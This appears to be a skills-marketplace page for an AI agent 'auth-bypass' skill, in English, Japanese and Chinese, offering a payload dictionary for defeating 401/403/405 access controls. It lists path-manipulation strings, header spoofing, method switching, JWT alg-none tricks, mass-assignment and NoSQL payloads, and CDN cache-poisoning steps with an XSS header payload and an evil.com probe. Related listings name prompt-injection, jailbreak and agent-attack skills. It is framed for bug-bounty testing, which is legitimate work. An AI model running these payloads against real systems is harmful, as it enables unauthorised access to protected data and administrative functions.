メニュー
401/403/405 authentication bypass techniques. Covers path manipulation, HTTP method switching, header injection, protocol downgrade, multi-position fuzzing, and middleware- specific bypass strategies with full payload dictionary.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
| name | auth-bypass |
| description | 401/403/405 authentication bypass techniques. Covers path manipulation, HTTP method switching, header injection, protocol downgrade, multi-position fuzzing, and middleware- specific bypass strategies with full payload dictionary. |
| metadata | {"tags":"bypass,403,401,405,auth,waf,access-control","category":"offensive-security"} |
Append to endpoint end:
%09 %20 %23 %2e %2f /%2e/ // /..;/ //..;/
/%20 /%09 /%00 /.json /.css /.html /? /?? /???
/?testparam /# /#test //. //// /.//./ ~ . ; ..;
;%09 ;%09.. ;%09..; ;%2f.. * .json ../ ..;/
?a.css ?a.js ?a.jpg ?a.png ../admin ..%2f ./ .%2f
..%00/ ..%0d/ ..%5c & @ ? ?? ...\ .././ /;/
.%2e/ ..\ ..%ff/ %2e%2e%2f %3f ?.css ?.js
%3f.css %3f.js %26 %0a %0d %0d%0a %3b \ .\
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case variation
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method switch
GET / HTTP/1.1 # X-Original-URL
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass
# IP whitelist bypass
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
# Path bypass
/api/admin → 403
/api/Admin → 200?
/api/admin/ → 200? (trailing slash)
/api//admin → 200? (double slash)
# Method bypass
GET /api/admin → 403
POST /api/admin → 200?
OPTIONS /api/admin → leak allowed methods
# Mass Assignment
{"username": "test", "password": "pass", "role": "admin"}
{"username": "test", "password": "pass", "is_admin": true}
# Parameter type confusion
id=1 → id[]=1 (array)
id=1 → id={"$gt":0} (NoSQL object)
limit=10 → limit=999999 (mass data leak)
page=1 → page=-1 (negative)
Original: /api/admin/users
Position 1: /api/admin/users.json ← end
Position 2: /api/admin/.json/users ← middle
Position 3: /api/.json/admin/users ← front
Position 4: /api/admin/users/..;/users ← path backtrack
Response byte analysis:
403 → 200 + bytes significantly increase → ✅ bypass successful
403 → 200 + bytes very small → ⚠️ might be empty page
200 → 200 + bytes increase → new data loaded
Any status + bytes same as normal page → bypass failed
When Authorization: Bearer eyJ... is present and 401/403 occurs on
admin endpoints from a low-privilege user:
Authorization: eyJ...alg to "none", strip signature→ Full JWT attack methodology: see skills/jwt_attack/SKILL.md
当前面有 CDN/WAF 时，缓存投毒可以不碰后端直接污染前端缓存。 此节补充 Phase 0 WAF 检测 + Phase 3.8 绕过之间的空白。
Cloudflare: CF-RAY, cf-cache-status, __cf_bm
AWS CloudFront: X-Cache: Hit from cloudfront, X-Amz-Cf-Id
Fastly: X-Served-By, X-Cache-Hits
Akamai: X-Akamai-Request-BC, Server: AkamaiGHost
国内 CDN: X-Swift-Cache, X-Cache-Lookup, ali-cdn, TencentCloudWAF
Step 1: 找未 keyed header（CDN 不作为 cache key 但后端处理的 header）
正常请求 → 记录响应体大小
带 X-Forwarded-Host: evil.com → 如果响应中出现 evil.com → 可投毒
Step 2: 投毒 payload 候选 header:
X-Forwarded-Host: "><script>alert(1)</script>
X-Forwarded-Scheme: javascript
X-Forwarded-Port: 99999
X-Original-URL: /admin
X-Rewrite-URL: /admin
Step 3: 验证缓存已污染
去掉投毒 header 后重新请求 → 如果响应中还包含投毒内容 → 缓存投毒成功
绕过 CDN 直接打到真实 IP → CDN 所有防护失效。
找真实 IP:
□ DNS 历史: securitytrails.com / dnsdumpster.com
□ SSL 证书: crt.sh → 搜域名 → 找非 CDN IP
□ 邮件头: 目标发邮件 → 查看原始邮件头 Source IP
□ 子域名: dev/staging/admin 子域名可能没套 CDN
□ Shodan: 搜索 favicon hash / SSL 证书 hash
□ 直接打 IP: curl -k -H "Host: target.com" https://<IP>
# 尝试各种内网/白名单 IP
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: 10.0.0.1
X-Forwarded-For: 172.16.0.1
X-Forwarded-For: 192.168.1.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# 组合 Origin 绕过
Origin: https://target.com
Referer: https://target.com/admin
Methodology reference for Mastermind Bug Bounty runtime. Iron Rules, Safe-First Layering, phase techniques, value pool linkage, SRC compliance, and Hook system.
AI/LLM security testing specialist. Tests for prompt injection, jailbreak, MCP/Agent attacks, RAG poisoning, system prompt extraction, and tool/function call abuse. Optional phase.
API 发现与语义化 Fuzz 专家。基于 Recon 产出的 _endpoint_params.json （接口→参数需求映射表）和数据联动值池，执行全接口覆盖测试、响应挖掘、 参数注入和语义化 Fuzz。核心原则：用 JS 提取的参数需求 + 响应泄露的真实值 驱动测试，而不是盲目 fuzz。
Access control bypass specialist. Handles 401/403/405 responses using path manipulation, HTTP method switching, header injection, middleware-specific techniques, and JWT token attacks. Third phase in the pipeline.
★ AI 优势赛道 — 加密/编码攻击专家。覆盖 AES/DES/RSA 密钥提取与破解、 JWT 全攻击链、编码检测与多层解码、CryptoJS 模式识别、响应体加密字段 解密、签名算法逆向、自定义混淆还原。
★ Exploit + Report: vulnerability exploitation specialist. Covers XSS, SQLi, SSRF, IDOR, SSTI, LFI/RFI, RCE, XXE, race conditions, business logic flaws. Enforces FOUND≠CONFIRMED triage gate (6-check), generates PoC chain, and produces 中文 .docx HackerOne/SRC-format reports. Final required phase.